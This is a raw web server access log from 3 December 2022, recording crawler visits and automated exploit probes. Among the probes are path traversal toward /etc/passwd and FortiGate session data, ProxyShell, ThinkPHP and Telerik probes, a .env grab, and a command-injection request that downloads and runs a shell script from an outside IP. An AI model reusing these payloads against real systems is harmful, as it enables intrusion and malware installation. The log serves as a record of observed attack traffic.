/ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData HTTP/1.1 404 462 - curl/7.54.0 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 14:21:50 +0100 PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 405 525 - Report Runner - Internet Research 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 14:21:50 +0100 GET /dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/ HTTP/1.1 400 494 - Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 14:21:50 +0100 GET /autodiscover/autodiscover.json?@abc.com/owa/?&Email=autodiscover/autodiscover.json?@abc.com HTTP/1.1 404 462 - curl/7.54.0 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 14:21:50 +0100 GET /ui/login.action HTTP/1.1 404 448 - Guayoyo - Mozilla/5.0 (compatible; vCenter) 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 14:21:50 +0100 GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1 404 462 - curl/7.54.0 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 14:21:50 +0100 GET /jira/rest/applinks/1.0/manifest HTTP/1.1 404 462 - curl/7.54.0 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 14:21:50 +0100 GET /confluence/rest/applinks/1.0/manifest HTTP/1.1 404 462 - curl/7.54.0 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 14:21:50 +0100 GET /bitbucket/rest/applinks/1.0/manifest HTTP/1.1 404 462 - curl/7.54.0 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 14:21:50 +0100 GET /bamboo/rest/applinks/1.0/manifest HTTP/1.1 404 462 - curl/7.54.0 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 14:21:51 +0100 GET /crowd/rest/applinks/1.0/manifest HTTP/1.1 404 462 - curl/7.54.0 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 14:24:19 +0100 GET / HTTP/1.1 200 6058 - Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/) 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 14:50:48 +0100 GET / HTTP/1.1 200 118418 - - 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 14:53:07 +0100 GET / HTTP/1.1 200 118418 - Hello World 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 15:13:23 +0100 GET / HTTP/1.1 200 6058 - Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/) 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 15:18:16 +0100 GET / HTTP/1.1 200 6058 - Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 15:51:36 +0100 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1 503 570 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 16:41:59 +0100 HEAD / HTTP/1.1 200 146 https://www.netcraft.com/survey/ Mozilla/4.0 (compatible; Netcraft Web Server Survey) 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 17:06:03 +0100 GET /autodiscover/autodiscover.json?@zdi/Powershell HTTP/1.1 404 456 - Mozilla/5.0 zgrab/0.x 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 17:13:23 +0100 POST / HTTP/1.1 404 456 - python-httpx/0.23.1 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 18:21:20 +0100 POST /mifs/.;/services/LogService HTTP/1.1 404 457 https://91.223.222.117:443 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 18:38:55 +0100 GET / HTTP/1.1 200 118418 - Hello World 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 18:43:09 +0100 GET /.env HTTP/1.1 404 456 - Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 18:47:42 +0100 GET /favicon.ico HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 19:26:51 +0100 GET /hudson HTTP/1.1 404 456 - Mozilla/5.0 zgrab/0.x 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 19:49:10 +0100 GET /cgi-bin/masterCGI?ping=nomip&user=;cd${IFS}/tmp;wget${IFS}http://185.132.53.105/f/strs.sh${IFS}-O-${IFS}>sfs;chmod${IFS}777${IFS}sfs;sh${IFS}sfs${IFS}Alcatel; HTTP/1.1 404 456 - - 13 dt id lfi xss csrf - 192.168.21.127 - - Sat, 03 Dec 2022 21:11:49 +0100 GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession HTTP/1.1 404 457 - Python-urllib/3.8 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 21:13:10 +0100 POST / HTTP/1.1 404 456 - Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 22:05:59 +0100 GET / HTTP/1.1 200 6058 - python-requests/2.28.1 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 22:51:29 +0100 GET / HTTP/1.1 200 6058 - python-requests/2.28.1 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 23:09:15 +0100 GET /robots.txt HTTP/1.1 404 456 - Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 23:09:17 +0100 GET /2020_11_12_vipex_access.log.1.html HTTP/1.1 200 31676 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.110 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 23:23:11 +0100 GET / HTTP/1.1 200 6058 - Mozilla/5.0 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 23:26:58 +0100 GET /favicon.ico HTTP/1.1 404 462 - Googlebot-Image/1.0 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 23:37:16 +0100 GET /2022_08_24_vipex_access.log.1.html HTTP/1.1 200 244 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.110 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 23:37:17 +0100 GET /2022_08_15_vipex_access.log.1.html HTTP/1.1 200 48043 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.110 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 23:37:18 +0100 GET /2022_08_21_vipex_access.log.1.html HTTP/1.1 200 35456 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.110 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 23:37:19 +0100 GET /2022_08_17_vipex_access.log.1.html HTTP/1.1 200 47864 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.110 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Sat, 03 Dec 2022 23:56:49 +0100 GET / HTTP/1.1 200 6058 - Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0